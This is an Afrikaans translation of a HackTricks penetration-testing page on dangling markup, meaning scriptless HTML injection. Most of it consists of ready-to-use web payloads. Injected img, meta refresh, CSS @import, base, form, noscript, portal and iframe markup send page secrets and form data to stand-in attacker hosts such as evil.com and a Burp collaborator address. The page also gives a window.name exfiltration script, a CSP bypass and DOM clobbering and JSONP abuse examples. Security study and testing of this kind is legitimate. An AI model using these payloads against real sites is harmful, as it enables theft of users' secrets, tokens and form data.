hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

14 KiB

Hangende Markup - HTML skripslose inspuiting

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Opsomming

Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n HTML-inspuiting gevind word. Dit is baie nuttig as jy nie enige manier vind om 'n XSS te benut nie, maar jy kan sekere HTML-etikette inspuit.
Dit is ook nuttig as 'n geheim in die teks in die HTML gestoor word en jy dit wil uitvoer vanaf die kliënt, of as jy wil voorkom dat 'n sekere skripsie uitgevoer word.

Verskeie tegnieke wat hier bespreek word, kan gebruik word om sekere Inhoudsveiligheidsbeleid te omseil deur inligting op onverwagte maniere uit te voer (html-etikette, CSS, http-meta-etikette, vorms, basis...).

Hooftoepassings

Steel duidelike teksgeheime

As jy <img src='http://evil.com/log.cgi? inspuit wanneer die bladsy gelaai word, sal die slagoffer al die kode tussen die ingespuite img-etiket en die volgende aanhalingsteken binne die kode aan jou stuur. As 'n geheim op een of ander manier in daardie brokkie geleë is, sal jy dit steel (jy kan dieselfde ding doen deur 'n dubbele aanhalingsteken te gebruik, kyk watter een meer interessant kan wees om te gebruik).

As die img-etiket verbode is (as gevolg van CSP byvoorbeeld) kan jy ook <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? gebruik.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Merk op dat Chrome blokkeer HTTP URL's met "<" of "\n" daarin, so jy kan ander protokol skemas soos "ftp" probeer.

Jy kan ook CSS @import misbruik (sal al die kode stuur tot dit 'n ";") vind.

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Jy kan ook <table gebruik:

<table background='//your-collaborator-id.burpcollaborator.net?'

Jy kan ook 'n <base tag invoeg. Alle inligting sal gestuur word totdat die aanhalingsteken gesluit is, maar dit vereis 'n bietjie gebruikerinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis tag die domein wat deur die skakel aangedui word, verander sal het):

<base target='        <--- Injected
steal me'<b>test</b>

Steel vorms

<base href='http://evil.com/'>

Dan sal die vorms wat data na die pad stuur (soos <form action='update_profile.php'>) die data na die skadelike domein stuur.

Steel vorms 2

Stel 'n vormkop in: <form action='http://evil.com/log_steal'> dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.

Steel vorms 3

Die knoppie kan die URL waarheen die inligting van die vorm gestuur gaan word, verander met die attribuut "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

'n Aanvaller kan dit gebruik om die inligting te steel.

Vind 'n voorbeeld van hierdie aanval in hierdie skryfstuk.

Steel skoon teks geheime 2

Deur die nuutste genoemde tegniek te gebruik om vorms te steel (inspuiting van 'n nuwe vormkop) kan jy dan 'n nuwe insetveld inspuit:

<input type='hidden' name='review_body' value="

En hierdie insetveld sal al die inhoud tussen sy dubbeld aanhalingstekens en die volgende dubbeld aanhalingstekens in die HTML bevat. Hierdie aanval meng die "Diefstal van duidelike teksgeheime" met "Diefstal van vorms2".

Jy kan dieselfde ding doen deur 'n vorm en 'n <option>-tag in te spuit. Alle data tot 'n geslote </option> gevind word, sal gestuur word:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Vormparameterinspuiting

Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Steel van teksgeheime via noscript

<noscript></noscript> Is 'n tag waarvan die inhoud geïnterpreteer sal word as die webblaaier nie javascript ondersteun nie (jy kan Javascript in Chrome aktiveer/deaktiveer by chrome://settings/content/javascript).

'n Manier om die inhoud van die webbladsy vanaf die inspuitingspunt na die onderkant na 'n aanvallerbeheerde webwerf te eksfiltreer, sal wees om dit in te spuit:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Oorskryding van CSP met gebruikersinteraksie

Van hierdie portswiggers navorsing kan jy leer dat selfs in die mees CSP-beperkte omgewings jy steeds data kan uitlek met 'n bietjie gebruikersinteraksie. In hierdie geval gaan ons die lading gebruik:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Let wel dat jy die slagoffer sal vra om op 'n skakel te klik wat hom sal herlei na 'n lading wat deur jou beheer word. Let ook daarop dat die teiken attribuut binne die basis etiket HTML-inhoud sal bevat tot die volgende enkel aanhalingsteken.
Dit sal veroorsaak dat die waarde van window.name as die skakel geklik word, al daardie HTML-inhoud sal wees. Daarom, aangesien jy die bladsy beheer waar die slagoffer toegang tot verkry deur op die skakel te klik, kan jy daardie window.name bereik en daardie data eksfileer:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Misleidende skripskema 1 - HTML-naamruimte-aanval

Voeg 'n nuwe tag met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Misleidende skripskema 2 - Skripsnaamruimte-aanval

Skep veranderlikes binne die javascript-naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Misbruik van JSONP

As jy 'n JSONP-koppelvlak vind, kan jy 'n willekeurige funksie met willekeurige data aanroep:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Of jy kan selfs probeer om 'n bietjie javascript uit te voer:

<script src='/search?q=a&call=alert(1)'></script>

Iframe misbruik

'n Kind-dokument besit die vermoë om die location eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit maak dit moontlik om 'n skrips binne 'n iframe in te sluit wat die kliënt na 'n willekeurige bladsy kan herlei:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Dit kan geminimaliseer word met iets soos: sandbox=' allow-scripts allow-top-navigation'

'n Iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek deur die iframe-naamkenmerk te gebruik. Dit is omdat jy 'n iframe kan skep wat homself iframed deur die HTML-inspuiting te misbruik wat die sensitiewe inligting binne die iframe-naamkenmerk laat verskyn en dan daardie naam vanaf die oorspronklike iframe kan benader en lek.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Vir meer inligting kyk na https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta misbruik

Jy kan meta http-equiv gebruik om verskeie aksies uit te voer soos die instelling van 'n koekie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> of om 'n herleiing uit te voer (in 5s in hierdie geval): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Dit kan vermy word met 'n CSP met betrekking tot http-equiv (Content-Security-Policy: default-src 'self';, of Content-Security-Policy: http-equiv 'self';)

Nuwe <portal HTML-tag

Jy kan 'n baie interessante navorsing vind oor uitbuitbare kwesbaarhede van die <portal-tag hier.
Op die oomblik van hierdie skrywe moet jy die portal-tag op Chrome aktiveer in chrome://flags/#enable-portals of dit sal nie werk nie.

<portal src='https://attacker-server?

HTML Lekasies

Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kontroleer hulle hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Lekasies

Dit is 'n mengsel tussen dangling markup en XS-Lekasies. Aan die een kant maak die kwesbaarheid dit moontlik om HTML in te spuit (maar nie JS nie) in 'n bladsy van dieselfde oorsprong as dié wat ons sal aanval. Aan die ander kant sal ons nie direk die bladsy aanval waar ons HTML kan inspuit nie, maar 'n ander bladsy.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Soek/XS-Lekasies

XS-Soek is gerig op eksfiltrasie van kruis-oorsprong inligting deur syferkanaal aanvalle te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-etikette (met en sonder JS-uitvoering), soos CSS-inspuiting of Lui Laai Beelde.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Brute-Force Opmerkingslys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Verwysings

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: